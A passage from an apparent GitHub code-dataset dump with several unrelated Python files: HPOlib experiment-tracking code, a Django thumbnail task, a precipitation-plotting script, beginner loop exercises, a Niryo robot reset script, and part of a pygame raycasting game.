= np.ones((1,)) * np.NaN\n # Status for every instance\n trial['instance_status'] = np.zeros((self.folds), dtype=int)\n trial['test_instance_status'] = np.zeros((1,), dtype=int)\n # Contains the standard deviation in case of cross validation\n trial['std'] = np.NaN\n trial['test_std'] = np.NaN\n # Accumulated duration over all instances\n trial['duration'] = np.NaN\n trial['test_duration'] = np.NaN\n # Stores the duration for every instance\n trial['instance_durations'] = np.ones((self.folds)) * np.NaN\n trial['test_instance_durations'] = np.ones((1,)) * np.NaN\n # Store additional data in form of strings for every fold, this canv\n # e.g. be a machine learning model which is saved to the disk\n trial['additional_data'] = defaultdict(str)\n trial['test_additional_data'] = defaultdict(str)\n return trial\n\n def close(self):\n if self.is_closed():\n pass\n elif self.locker.unlock(self.jobs_pkl):\n self._is_closed = True\n else:\n raise Exception(\"Could not release lock on job grid.\\n\")\n\n def is_closed(self):\n return self._is_closed\n\n def __del__(self):\n self.close()\n\n def result_array(self):\n result = np.array([trial['result'] for trial in self.trials])\n return result\n\n def test_result_array(self):\n test_result = np.array([trial['test_result'] for trial in self.trials])\n return test_result\n\n def instance_results_array(self):\n instance_results = np.array([trial['instance_results'] for trial in\n self.trials])\n return instance_results\n\n def test_instance_results_array(self):\n test_instance_results = np.array([trial['test_instance_results'] for\n trial in self.trials])\n return test_instance_results\n\n def status_array(self):\n status = np.array([trial['status'] for trial in self.trials])\n return status\n\n def test_status_array(self):\n test_status = np.array([trial['test_status'] for trial in self.trials])\n return test_status\n\n # Return the ID of all candidate jobs\n def get_candidate_jobs(self):\n return self._get_jobs_by_status(CANDIDATE_STATE, False)\n\n def get_candidate_test_jobs(self):\n return self._get_jobs_by_status(CANDIDATE_STATE, True)\n\n # Return the ID of all running jobs\n def get_running_jobs(self):\n return self._get_jobs_by_status(RUNNING_STATE, False)\n\n def get_running_test_jobs(self):\n return self._get_jobs_by_status(RUNNING_STATE, True)\n\n # Return the ID of all incomplete jobs\n def get_incomplete_jobs(self):\n return self._get_jobs_by_status(INCOMPLETE_STATE, False)\n\n def get_incomplete_test_jobs(self):\n return self._get_jobs_by_status(INCOMPLETE_STATE, True)\n\n # Return the ID of all complete jobs\n def get_complete_jobs(self):\n return self._get_jobs_by_status(COMPLETE_STATE, False)\n\n def get_complete_test_jobs(self):\n return self._get_jobs_by_status(COMPLETE_STATE, True)\n\n # Return the ID of all broken jobs\n def get_broken_jobs(self):\n return self._get_jobs_by_status(BROKEN_STATE, False)\n\n def get_broken_test_jobs(self):\n return self._get_jobs_by_status(BROKEN_STATE, True)\n\n # The basic functionality to return all jobs with a given state\n def _get_jobs_by_status(self, status, test=False):\n if test:\n return np.nonzero(self.test_status_array() == status)[0]\n else:\n return np.nonzero(self.status_array() == status)[0]\n\n def get_arg_best(self, consider_incomplete=False):\n \"\"\"Get the job id of the best result.\n\n If there is no result for a configuration, the behaviour depends on\n the argument ``consider_incomplete``. If it is set to True, the mean\n of all non-NaN values is considered.\n\n Parameters\n ----------\n consider_incomplete : bool, default=False\n Consider the nanmean of incomplete trials if True.\n\n Returns\n -------\n int\n ID of the best hyperparameter configuration found so far.\n\n Raises\n ------\n ValueError\n If no non-NaN value is found.\n \"\"\"\n best_idx = -1\n best_value = sys.maxint\n for i, trial in enumerate(self.trials):\n tmp_res = np.NaN\n if np.isfinite(trial['result']):\n tmp_res = trial['result']\n elif consider_incomplete and np.isfinite(trial[\\\n 'instance_results']).any():\n tmp_res = wrapping_util.nan_mean(trial['instance_results'])\n else:\n continue\n if tmp_res < best_value:\n best_idx = i\n best_value = tmp_res\n if best_idx == -1:\n raise ValueError(\"No best value found.\")\n return best_idx\n\n def get_best(self):\n \"\"\"Get the result of the ID returned by get_arg_best.\n\n Returns\n -------\n float\n Best validation result found so far.\n\n Raises\n ------\n ValueError\n If no non-NaN value is found.\n \"\"\"\n best_idx = self.get_arg_best(consider_incomplete=False)\n return self.trials[best_idx]['result']\n\n def get_trial_from_id(self, _id):\n try:\n return self.trials[_id]\n except IndexError as e:\n logger.critical(\"IndexError in get_trial_from_id. len(trials): \"\n \"%d, accessed index: %d\" % (len(self.trials), _id))\n raise e\n\n def add_job(self, params):\n \"\"\"Create a trials dictionary for a hyperparameter configuration.\n\n Parameters\n ----------\n configuration : dict\n A dictionary of hyperparameters.\n\n Returns\n -------\n int\n The trial ID of the created trials dictionary\n \"\"\"\n trial = self._create_trial()\n trial['params'] = params\n self.trials.append(trial)\n self._sanity_check()\n return len(self.trials) - 1\n\n def clean_test_outputs(self, _id):\n \"\"\"Revert all information for the run with `_id` to the default so\n the evaluation can be carried out again.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n\n Returns\n -------\n \"\"\"\n trial = self.get_trial_from_id(_id)\n\n trial['test_status'] = CANDIDATE_STATE\n trial['test_result'] = np.NaN\n trial['test_std'] = np.NaN\n trial['test_duration'] = np.NaN\n\n duration = np.nansum(trial['test_instance_durations'])\n self.total_wallclock_time -= duration\n\n for fold in range(len(trial['test_instance_status'])):\n trial['test_instance_status'][fold] = CANDIDATE_STATE\n trial['test_instance_durations'][fold] = np.NaN\n trial['test_instance_results'][fold] = np.NaN\n trial['test_additional_data'][fold] = \"\"\n\n\n def set_one_fold_running(self, _id, fold):\n \"\"\"Change the status of one fold to running.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n fold : int\n The fold is set running\n \"\"\"\n trial = self.get_trial_from_id(_id)\n assert(self.get_trial_from_id(_id)['instance_status'][fold] ==\n CANDIDATE_STATE)\n trial['status'] = RUNNING_STATE\n trial['instance_status'][fold] = RUNNING_STATE\n self.instance_order.append((_id, fold))\n self._sanity_check()\n\n def set_one_test_fold_running(self, _id, fold):\n \"\"\"Change the status of one test fold to running.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n fold : int\n The test fold is set running\n \"\"\"\n if fold != 0:\n raise ValueError(\"Currently, only one test instance is allowed.\")\n trial = self.get_trial_from_id(_id)\n assert(trial['test_instance_status'][fold] == CANDIDATE_STATE)\n trial['test_status'] = RUNNING_STATE\n trial['test_instance_status'][fold] = RUNNING_STATE\n self._sanity_check()\n\n def set_one_fold_crashed(self, _id, fold, result, duration,\n additional_data=None):\n \"\"\"Change the status of one fold to crashed.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n fold : int\n The fold is set crashed\n result : float\n The result of the algorithm run\n duration : float\n Number of seconds the algorithm run until it crashed\n additional_data : str\n A string with additional data from the algorithm run which crashed.\n \"\"\"\n trial = self.get_trial_from_id(_id)\n assert(trial['instance_status'][fold] == RUNNING_STATE)\n trial['instance_status'][fold] = BROKEN_STATE\n trial['instance_durations'][fold] = duration\n trial['instance_results'][fold] = result\n trial['additional_data'][fold] = additional_data\n if (trial['instance_status'] != RUNNING_STATE).all():\n trial['status'] = INCOMPLETE_STATE\n self._check_cv_finished(_id)\n self.total_wallclock_time += duration\n self._sanity_check()\n\n def set_one_test_fold_crashed(self, _id, fold, result, duration,\n additional_data=None):\n \"\"\"Change the status of one test fold to crashed.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n fold : int\n The test fold is set crashed\n result : float\n The result of the algorithm run\n duration : float\n Number of seconds the algorithm run until it crashed\n additional_data : str\n A string with additional data from the algorithm run which crashed.\n \"\"\"\n if fold != 0:\n raise ValueError(\"Currently, only one test instance is allowed.\")\n trial = self.get_trial_from_id(_id)\n assert (trial['test_instance_status'][fold] == RUNNING_STATE)\n trial['test_instance_status'][fold] = BROKEN_STATE\n trial['test_instance_durations'][fold] = duration\n trial['test_instance_results'][fold] = result\n trial['test_additional_data'][fold] = additional_data\n if (trial['test_instance_status'] != RUNNING_STATE).all():\n trial['test_status'] = INCOMPLETE_STATE\n self._check_test_finished(_id)\n self.total_wallclock_time += duration\n self._sanity_check()\n\n def set_one_fold_complete(self, _id, fold, result, duration,\n additional_data=None):\n \"\"\"Change the status of one test fold to complete.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n fold : int\n The fold is set complete\n result : float\n The result of the algorithm run\n duration : float\n Number of seconds the algorithm run needed\n additional_data : str\n A string with additional data from the algorithm run\n \"\"\"\n\n trial = self.get_trial_from_id(_id)\n assert(trial['instance_status'][fold] == RUNNING_STATE)\n trial['instance_results'][fold] = result\n trial['instance_status'][fold] = COMPLETE_STATE\n trial['instance_durations'][fold] = duration\n trial['additional_data'][fold] = additional_data\n # Set to incomplete if no job is running\n if (trial['instance_status'] != RUNNING_STATE).all():\n trial['status'] = INCOMPLETE_STATE\n # Check if all runs are finished\n self._check_cv_finished(_id)\n self.total_wallclock_time += duration\n self._sanity_check()\n\n def set_one_test_fold_complete(self, _id, fold, result, duration,\n additional_data=None):\n \"\"\"Change the status of one test fold to complete.\n\n Parameters\n ----------\n _id : int\n The ID of the trial dictionary\n fold : int\n The test fold is set complete\n result : float\n The result of the algorithm run\n duration : float\n Number of seconds the algorithm run needed\n additional_data : str\n A string with additional data from the algorithm run\n \"\"\"\n if fold != 0:\n raise ValueError(\"Currently, only one test instance is allowed.\")\n trial = self.get_trial_from_id(_id)\n assert (trial['test_instance_status'][fold] == RUNNING_STATE)\n trial['test_instance_results'][fold] = result\n trial['test_instance_status'][fold] = COMPLETE_STATE\n trial['test_instance_durations'][fold] = duration\n trial['test_additional_data'][fold] = additional_data\n # Set to incomplete if no job is running\n if (trial['test_instance_status'] != RUNNING_STATE).all():\n trial['test_status'] = INCOMPLETE_STATE\n # Check if all runs are finished\n self._check_test_finished(_id)\n self.total_wallclock_time += duration\n self._sanity_check()\n\n def start_cv(self, time):\n \"\"\"Set the timer for the start of a new cross-validation run.\n\n Parameters\n ----------\n time : float\n Start time of the new cross-validation run.\n \"\"\"\n self.cv_starttime.append(time)\n\n def end_cv(self, time):\n \"\"\"Set the timer for the end of a running cross-validation run.\n\n Parameters\n ----------\n time : float\n End time of the running cross-validation run.\n \"\"\"\n self.cv_endtime.append(time)\n\n def _check_cv_finished(self, _id):\n trial = self.get_trial_from_id(_id)\n if np.isfinite(trial[\"instance_results\"]).all():\n if np.sum(trial['instance_status'] == -1) == self.folds:\n trial['status'] = BROKEN_STATE\n else:\n trial['status'] = COMPLETE_STATE\n trial['result'] = np.sum(trial['instance_results']) / self.folds\n trial['std'] = np.std(trial['instance_results'])\n trial['duration'] = np.sum(trial['instance_durations'])\n return True\n else:\n return False\n\n def _check_test_finished(self, _id):\n trial = self.get_trial_from_id(_id)\n if np.isfinite(trial[\"test_instance_results\"]).all():\n if np.sum(trial['test_instance_status'] == BROKEN_STATE) == \\\n len(trial['test_instance_status']):\n trial['test_status'] = BROKEN_STATE\n else:\n trial['test_status'] = COMPLETE_STATE\n trial['test_result'] = np.sum(trial['test_instance_results']) / \\\n len(trial['test_instance_results'])\n trial['test_std'] = np.std(trial['test_instance_results'])\n trial['test_duration'] = np.sum(trial['test_instance_durations'])\n return True\n else:\n return False\n\n def remove_all_but_first_runs(self, restored_runs):\n \"\"\"Delete all but the first *restored_runs* instances.\n\n Useful to delete all unnecessary entries after a crash in order to\n restart.\n\n Parameters\n ----------\n int : restored runs\n The number of instance runs to restore. In contrast to most other\n arguments, this argument is 1-based.\n \"\"\"\n logger.info(\"Restored runs %d\", restored_runs)\n logger.info(\"%s %s\", self.instance_order, len(self.instance_order))\n if len(self.instance_order) == restored_runs:\n pass\n else:\n for _id, instance in self.instance_order[-1:restored_runs - 1:-1]:\n logger.info(\"Deleting %d %d\", _id, instance)\n\n trial = self.get_trial_from_id(_id)\n if np.isfinite(trial['instance_durations'][instance]):\n self.total_wallclock_time -= \\\n trial['instance_durations'][instance]\n\n trial['instance_durations'][instance] = np.NaN\n trial['instance_results'][instance] = np.NaN\n trial['instance_status'][instance] = 0\n self.instance_order.pop()\n \n trial['duration'] = np.NaN\n \n if not np.isfinite(trial['instance_results']).any():\n del self.trials[_id]\n\n # now delete all unnecessary entries in instance_order\n del self.instance_order[restored_runs:]\n\n # now remove all timing stuff from cv_starttime and cv_endtime\n if restored_runs / self.folds == len(self.cv_starttime) - 1:\n del self.cv_starttime[-1]\n elif restored_runs / self.folds == len(self.cv_starttime):\n pass\n # TODO: this is a very general assumption, there should be a more\n # constraining one\n elif len(self.cv_starttime) >= len(self.instance_order):\n # Intensifying optimizer, delete all except the first few entries\n del self.cv_starttime[restored_runs:]\n else:\n raise Exception(\"Illegal state in experiment pickle with \" +\n \"restored_runs %d, length of cv_starttime \" +\n \"being %d, length of instance order %d and \" +\n \"number of folds %d\" % \\\n (restored_runs, len(self.cv_starttime),\n len(self.instance_order), self.folds))\n if len(self.cv_endtime) > len(self.cv_starttime):\n del self.cv_endtime[len(self.cv_starttime):]\n \n assert(len(self.instance_order) == restored_runs),\\\n (len(self.instance_order), restored_runs)\n #assert(np.sum(np.isfinite(self.instance_results)) == restored_runs),\\\n # (np.sum(np.isfinite(self.instance_results)), restored_runs)\n assert(len(self.cv_starttime) == len(self.cv_endtime)),\\\n (len(self.cv_starttime), len(self.cv_endtime))\n \n self._sanity_check()\n\n def _trial_sanity_check(self, trial):\n for key in ['instance_results', 'instance_status',\n 'instance_durations']:\n if len(trial[key]) != self.folds:\n raise ValueError(\"Length of array %s (%d) is not equal to the \"\n \"number of folds (%d).\" %\n (key, len(trial[key], trial.folds)))\n\n for key in ['test_instance_results', 'test_instance_status',\n 'test_instance_durations']:\n if len(trial[key]) != 1:\n raise ValueError(\"Length of array %s (%d) is not equal to the \"\n \"number of test folds (%d).\" %\n (key, len(trial[key]), 1))\n\n for i in range(len(trial['instance_results'])):\n assert ((np.isfinite(trial['instance_results'][i]) and\n trial['instance_status'][i] in (COMPLETE_STATE, BROKEN_STATE)) or\n (not np.isfinite(trial['instance_results'][i]) and\n trial['instance_status'][i] not in (COMPLETE_STATE, BROKEN_STATE))), \\\n (trial['instance_results'][i], trial['instance_status'][i])\n\n for i in range(len(trial['test_instance_results'])):\n assert ((np.isfinite(trial['test_instance_results'][i]) and\n trial['test_instance_status'][i] in (COMPLETE_STATE, BROKEN_STATE)) or\n (not np.isfinite(trial['test_instance_results'][i]) and\n trial['test_instance_status'][i] not in (COMPLETE_STATE, BROKEN_STATE))), \\\n (trial['test_instance_results'][i], trial['test_instance_status'][i])\n\n def _sanity_check(self):\n total_wallclock_time = 0\n for trial in self.trials:\n self._trial_sanity_check(trial)\n\n # Backwards compability with numpy 1.6\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n wallclock_time = np.nansum(trial['instance_durations'])\n test_wallclock_time = np.nansum(trial['test_instance_durations'])\n total_wallclock_time += wallclock_time if \\\n np.isfinite(wallclock_time) else 0\n total_wallclock_time += test_wallclock_time if \\\n np.isfinite(test_wallclock_time) else 0\n\n if not wrapping_util.float_eq(total_wallclock_time,\n self.total_wallclock_time):\n raise ValueError(\"Found an error in the time measurement. The \"\n \"values %f and %f should be equal, but aren't\" %\n (total_wallclock_time, self.total_wallclock_time))\n\n # Automatically loads this object from a pickle file\n def _load_jobs(self):\n fh = open(self.jobs_pkl, 'r')\n jobs = cPickle.load(fh)\n fh.close()\n\n self.experiment_name = jobs['experiment_name']\n self.title = jobs['title']\n self.folds = jobs['folds']\n self.total_wallclock_time = jobs['total_wallclock_time']\n self.max_wallclock_time = jobs['max_wallclock_time']\n self.starttime = jobs['starttime']\n self.endtime = jobs['endtime']\n self.cv_starttime = jobs['cv_starttime']\n self.cv_endtime = jobs['cv_endtime']\n self.optimizer = jobs['optimizer']\n self.optimizer_time = jobs['optimizer_time']\n self.instance_order = jobs['instance_order']\n self.trials = jobs['trials']\n\n def _save_jobs(self):\n # Write everything to a temporary file first.\n self._sanity_check()\n fh = tempfile.NamedTemporaryFile(mode='w', delete=False)\n cPickle.dump({'experiment_name': self.experiment_name,\n 'title' : self.title,\n 'folds' : self.folds,\n 'total_wallclock_time' : self.total_wallclock_time,\n 'max_wallclock_time' : self.max_wallclock_time,\n 'starttime' : self.starttime,\n 'endtime' : self.endtime,\n 'cv_starttime' : self.cv_starttime,\n 'cv_endtime' : self.cv_endtime,\n 'optimizer' : self.optimizer,\n 'optimizer_time' : self.optimizer_time,\n 'instance_order' : self.instance_order,\n 'trials' : self.trials}, fh)\n fh.close()\n cmd = 'mv \"%s\" \"%s\"' % (fh.name, self.jobs_pkl)\n os.system(cmd) # TODO: Replace with subprocess modules\n","repo_name":"automl/HPOlib","sub_path":"HPOlib/Experiment.py","file_name":"Experiment.py","file_ext":"py","file_size_in_byte":26862,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"67"} +{"seq_id":"31903205247","text":"import logging\nfrom io import BytesIO\n\nfrom PIL import ExifTags, Image\nfrom django.conf import settings\nfrom django.core.files.base import ContentFile\n\nfrom gallery.models import Patient\n\n\n_INVALID_FORMAT_ERROR = (\n \"Can't generate thumbnail for {type} filetype. (Path: {path})\"\n)\n\n\ndefault_logger = logging.getLogger(__name__)\n\n\ndef create_thumbnail(patient_id, logger=default_logger):\n patient = Patient.objects.get(pk=patient_id)\n\n logger.debug(\"Generating thumbnail for {0}\".format(patient.picture.name))\n image = Image.open(patient.picture)\n\n pil_type = image.format\n if pil_type == \"JPEG\":\n ext = \"jpg\"\n elif pil_type == \"PNG\":\n ext = \"png\"\n else:\n logger.warning(\n _INVALID_FORMAT_ERROR.format(\n path=patient.picture.name, type=pil_type\n )\n )\n\n return False\n\n image.thumbnail(settings.GALLERY_THUMBNAIL_SIZE)\n\n temp_handle = BytesIO()\n image.save(temp_handle, pil_type)\n temp_handle.seek(0)\n\n path = patient.picture.name.rsplit(\".\", 1)[0]\n thumb_path = \"{0}_thumbnail.{1}\".format(path, ext)\n patient.thumbnail.save(\n thumb_path, ContentFile(temp_handle.getvalue()), save=False\n )\n\n logger.debug(\"Saving thumbnail to {0}\".format(thumb_path))\n patient.save(update_fields=[\"thumbnail\"])\n\n logger.info(\"Generated thumbnail {0}\".format(thumb_path))\n\n return True\n\n\ndef process_patient_picture(patient_id, logger=default_logger):\n \"\"\"\n Process\n Args:\n patient_id:\n The ID of the patient whose images should be processed.\n logger:\n The logger to use for the function.\n \"\"\"\n patient = Patient.objects.get(pk=patient_id)\n\n logger.debug(\n \"Processing {file_path}\".format(file_path=patient.picture.name)\n )\n\n image = Image.open(patient.picture)\n\n # Keep track of if we changed the original image. If we did, we\n # need to update the thumbnail as well.\n changed = False\n\n pil_type = image.format\n if pil_type in (\"JPEG\", \"MPO\"):\n pil_type = \"JPEG\" # Saving it as a jpeg makes it easier to process\n changed = True\n else:\n # No need to process any other files\n return\n\n orientation_key = None\n\n for key in ExifTags.TAGS.keys():\n if ExifTags.TAGS[key] == \"Orientation\":\n orientation_key = key\n break\n\n if orientation_key is None:\n logger.warning(\"No orientation key was found, not rotating.\")\n else:\n if hasattr(image, \"_getexif\") and image._getexif() is not None:\n exif = dict(image._getexif().items())\n orientation = exif.get(orientation_key)\n\n logger.debug(\n \"Current picture has orientation {0}\".format(orientation)\n )\n\n if orientation == 3:\n image = image.rotate(180, expand=True)\n elif orientation == 6:\n image = image.rotate(270, expand=True)\n elif orientation == 8:\n image = image.rotate(90, expand=True)\n\n changed = orientation in (3, 6, 8)\n\n try:\n image.save(patient.picture, pil_type)\n except OSError as e:\n logger.exception(\n \"Failed to save {file_path}\".format(\n file_path=patient.picture.name\n ),\n exc_info=e,\n )\n\n return False\n\n if changed or not patient.thumbnail:\n return create_thumbnail(patient_id)\n\n return True\n","repo_name":"chmvh/chmvh-website","sub_path":"chmvh_website/gallery/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7497720397","text":"#----------------------------------------------------------------------\n# Plots climatologies of precip stats\n#\n#----------------------------------------------------------------------\n\n#import matplotlib\n#matplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as mcolors\n\nimport numpy as np\nimport os\n\nimport plotutils\n\n\n# Default range of values\nplot_params = {'intervals': (-200., 200., 11),\n 'extend': 'both',\n 'colormap': 'coolwarm',\n 'cb_label': 'mm'}\n\n\ndef get_plot_params(field):\n \"\"\"Returns colormap and norm for a given field\"\"\"\n cmap = plotutils.get_cmap(plot_params['colormap'])\n bounds = np.linspace(*plot_params['intervals'])\n norm = mcolors.BoundaryNorm(boundaries=bounds, ncolors=cmap.N)\n \n return cmap, norm, plot_params['extend'], plot_params['cb_label']\n\n\ndef plot_prectot_anomaly_by_year(year, height=5., width=8.5, fix_aspect=True, \n outdiri='.', nosave=False):\n \"\"\"Generates plot of PRECIP_STATS field for the six reanalyses in\n the Snow on Sea Ice precipitation paper\n\n field - Data field to plot: precTot, wetdayTot, nwetdays, fwetdays, wetdayAve\n\n height - height of figure (default 5\")\n (is adjusted to 5/8.5 of width if fix_aspect True)\n width - width of figure (default 8.5\")\n fix_aspect - fixes aspect to 5/8.5 if True (default True)\n outdiri - Sets output directory (default .)\n nosave - Plot is not written to file but displayed using plt.show()\n \"\"\"\n\n cmap, norm, cb_extend, cb_units = get_plot_params('precTot')\n\n ds = plotutils.load_data('precTot', 'anomaly').sel(time=year).squeeze()\n fig, ax = plotutils.make_figure(ds, norm=norm, cmap=cmap, height=height, width=width,\n cb_extend=cb_extend, cb_units=cb_units)\n\n if nosave:\n plt.show()\n else:\n fileout = os.path.join(outdiri,\n f'arctic_precipitation.accumulation_period.precTot_anomaly.{year}.cfsr_totprec.png')\n print ('Saving plot to ' + fileout)\n fig.savefig(fileout)\n \n return\n\n\nif __name__ == \"__main__\":\n\n import argparse\n\n parser = argparse.ArgumentParser(description=\"Plots climatologies of PRECIP_STATS for precipitation paper\")\n parser.add_argument('year', type=str,\n help='Data field to plot: precTot, wetdayTot, nwetdays, fwetdays, wetdayAve')\n parser.add_argument('--height', type=float, default=5,\n help='Height of figure in inches (default 5\")')\n parser.add_argument('--width', type=float, default=8.5,\n help='Width of figure in inches (default 8.5\")')\n parser.add_argument('--fix_aspect', action='store_true',\n help='Adjust height to meet aspect of 5/8.5')\n parser.add_argument('--outdiri', type=str, default='.',\n help='Output dirpath to save figure to')\n parser.add_argument('--nosave', action='store_true',\n help=\"Don't save figure, display on screen\")\n \n args = parser.parse_args()\n\n plot_prectot_anomaly_by_year(args.year, height=args.height, width=args.width, fix_aspect=args.fix_aspect,\n outdiri=args.outdiri, nosave=args.nosave)\n \n","repo_name":"andypbarrett/SnowOnSeaIce","sub_path":"source/precipitation/plot_prectot_anomaly_by_year.py","file_name":"plot_prectot_anomaly_by_year.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10068663626","text":"#!/usr/bin/python3\n\ndef task_a():\n '''\n a)\n '''\n s = 0\n for i in range(7):\n integer = int(input('Skriv inn et heltall: '))\n s += integer\n print('Summen av tallene ble', s)\n\ndef task_b():\n '''\n b) The sum of the numbers 1, 2, 3 ... sum < 1000\n '''\n product = 1\n i = 1\n while product <= 1000:\n i += 1\n product *= i\n print('Produkt over 1000 =>', product)\n\ndef task_c():\n '''\n c)\n '''\n attempts = 1\n answer = input('Hva er hovedstaden i Norge? ')\n while answer.lower() != 'oslo':\n attempts += 1\n print('Det var feil, prøv igjen.')\n answer = input('Hva er hovedstaden i Norge? ')\n print(f'Korrekt!! Du brukte {attempts} forsøk.')\n\nif __name__ == \"__main__\":\n task_a()\n task_b()\n task_c()\n","repo_name":"oleast/snippets","sub_path":"tdt4127/3/more_about_loops.py","file_name":"more_about_loops.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"no","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41019055800","text":"from pyniryo import *\n\n#Helper script to reset the robot positions and stop the conveyors\n\n# robot 1\nrobot1_ip_address = \"169.254.200.201\" \n\n# robot 0\nrobot0_ip_address = \"169.254.200.200\" \nrobot0 = NiryoRobot(robot0_ip_address)\nrobot1 = NiryoRobot(robot1_ip_address)\n\nif not (len(robot1.get_connected_conveyors_id()) == 0 ):\n print(\"Stopped conveyor 1\")\n conveyor_id_1 = robot1.set_conveyor()\n robot1.stop_conveyor(conveyor_id_1)\n\nif not (len(robot0.get_connected_conveyors_id()) == 0 ):\n print(\"Stopped conveyor 0\")\n conveyor_id_0 = robot0.set_conveyor()\n robot0.stop_conveyor(conveyor_id_0)\n\nrobot1.move_to_home_pose()\nrobot0.move_to_home_pose()\n\nrobot0.close_connection()\nrobot1.close_connection()\n","repo_name":"Daniel-Baun/NiryorobotAU","sub_path":"Python/reset_FMS.py","file_name":"reset_FMS.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"6654510242","text":"import pygame\r\nimport random\r\nimport sqlite3\r\nimport sys\r\nimport os\r\nfrom collections import *\r\n\r\nimport player_processing\r\nfrom settings import *\r\nfrom map import mini_map\r\n\r\n# Инициализация pygame\r\npygame.init()\r\nscreen = pygame.display.set_mode(SIZE)\r\nscreen_map = pygame.Surface(MINIMAP_RES)\r\npygame.display.set_caption('Light War')\r\n\r\n\r\n# Функция загрузки изображения\r\ndef load_image(name, colorkey=None):\r\n fullname = os.path.join('data', name)\r\n if not os.path.isfile(fullname):\r\n print(f\"Файл с изображением '{fullname}' не найден\")\r\n sys.exit()\r\n image = pygame.image.load(fullname)\r\n if colorkey is not None:\r\n image = image.convert()\r\n if colorkey == -1:\r\n colorkey = image.get_at((0, 0))\r\n image.set_colorkey(colorkey)\r\n else:\r\n image = image.convert_alpha()\r\n return image\r\n\r\n\r\n# Функция парсинга базы данных\r\ndef data_leaderboard():\r\n con = sqlite3.connect('data/LightWar.db')\r\n cur = con.cursor()\r\n data = cur.execute(\"\"\"\r\n SELECT * FROM users WHERE highscore = ? ORDER BY time DESC\r\n \"\"\", (6,)).fetchall()\r\n con.commit()\r\n con.close()\r\n return data[::-1][:3]\r\n\r\n\r\n# Класс, реализующий отрисовку всех объектов в игре\r\nclass Drawing:\r\n def __init__(self, screen, screen_map, player, clock, sprites):\r\n self.sprites = sprites\r\n self.x = 0\r\n self.shot_projection = 0\r\n self.screen = screen\r\n self.screen_map = screen_map\r\n self.player = player\r\n self.clock = clock\r\n self.fps_font = pygame.font.SysFont('Arial', 36, bold=True)\r\n self.font_win = pygame.font.Font('data/fonts/pixel_font.ttf', 144)\r\n self.textures = {1: load_image('textures/wall1.jpg'),\r\n 2: load_image('textures/wall2.jpg'),\r\n 3: load_image('textures/wall3.jpg'),\r\n 4: load_image('textures/wall4.jpg'),\r\n 'S': load_image('textures/sky.jpg')\r\n }\r\n self.menu_trigger = True\r\n self.menu_picture = load_image('textures/background.jpg')\r\n self.weapon_base_sprite = load_image('sprites/weapons/shotgun/base/0.png')\r\n self.weapon_shot_animation = deque([load_image(f'sprites/weapons/shotgun/shot/{i}.png')\r\n for i in range(20)])\r\n self.weapon_rect = self.weapon_base_sprite.get_rect()\r\n self.weapon_pos = (HALF_WIDTH - self.weapon_rect.width // 2, HEIGHT - self.weapon_rect.height)\r\n self.shot_length = len(self.weapon_shot_animation)\r\n self.shot_length_count = 0\r\n self.shot_animation_speed = 3\r\n self.shot_animation_count = 0\r\n self.shot_animation_trigger = True\r\n self.shot_sound = pygame.mixer.Sound('data/sounds/shotgun.mp3')\r\n self.sfx = deque([load_image(f'sprites/weapons/sfx/{i}.png') for i in range(9)])\r\n self.sfx_length_count = 0\r\n self.sfx_length = len(self.sfx)\r\n self.font = pygame.font.SysFont('Arial', 20, bold=True)\r\n\r\n # Загрузка фонового изображения\r\n def background(self, angle):\r\n sky_offset = -10 * math.degrees(angle) % WIDTH\r\n self.screen.blit(self.textures['S'], (sky_offset, 0))\r\n self.screen.blit(self.textures['S'], (sky_offset - WIDTH, 0))\r\n self.screen.blit(self.textures['S'], (sky_offset + WIDTH, 0))\r\n pygame.draw.rect(self.screen, DARKGRAY, (0, HALF_HEIGHT, WIDTH, HALF_HEIGHT))\r\n\r\n # Проекция игрового мира, реализуемого в файле ray_casting, на экран пользователя\r\n def world(self, world_objects):\r\n for obj in sorted(world_objects, key=lambda n: n[0], reverse=True):\r\n if obj[0]:\r\n _, object, object_pos = obj\r\n self.screen.blit(object, object_pos)\r\n\r\n # Отображение fps в углу экрана\r\n def fps(self, clock):\r\n display_fps = str(int(clock.get_fps()))\r\n render = self.fps_font.render(f\"FPS:{display_fps}\", False, DARKORANGE)\r\n self.screen.blit(render, FPS_POS)\r\n\r\n # Надпись \"Здоровье\" под счётчиком здоровья\r\n def health(self):\r\n render = self.fps_font.render(\"Здоровье\", False, RED)\r\n self.screen.blit(render, (250, 30))\r\n\r\n # \"Склейка\" мини-карты с игровым миром\r\n def mini_map(self, player):\r\n cords_living_sprites = ([obj.sprite_pos() for obj in self.sprites.list_of_objects\r\n if obj.flag == 'npc' and not obj.is_dead])\r\n\r\n self.screen_map.fill(BLACK)\r\n map_x, map_y = player.x // MAP_SCALE, player.y // MAP_SCALE\r\n pygame.draw.line(self.screen_map, YELLOW, (map_x, map_y),\r\n (map_x + 12 * math.cos(player.angle),\r\n map_y + 12 * math.sin(player.angle)), 2)\r\n\r\n pygame.draw.circle(self.screen_map, GREEN, (int(map_x), int(map_y)), 5)\r\n\r\n for x, y in mini_map:\r\n pygame.draw.rect(self.screen_map, SANDY, (x, y, MAP_TILE, MAP_TILE))\r\n for spr_cords_x, spr_cords_y in cords_living_sprites:\r\n pygame.draw.circle(self.screen_map, RED, (spr_cords_x // MAP_SCALE,\r\n spr_cords_y // MAP_SCALE), 5)\r\n self.screen.blit(self.screen_map, MAP_POS)\r\n\r\n # Нанесение оружие на экран пользователя\r\n def player_weapon(self, shots):\r\n if 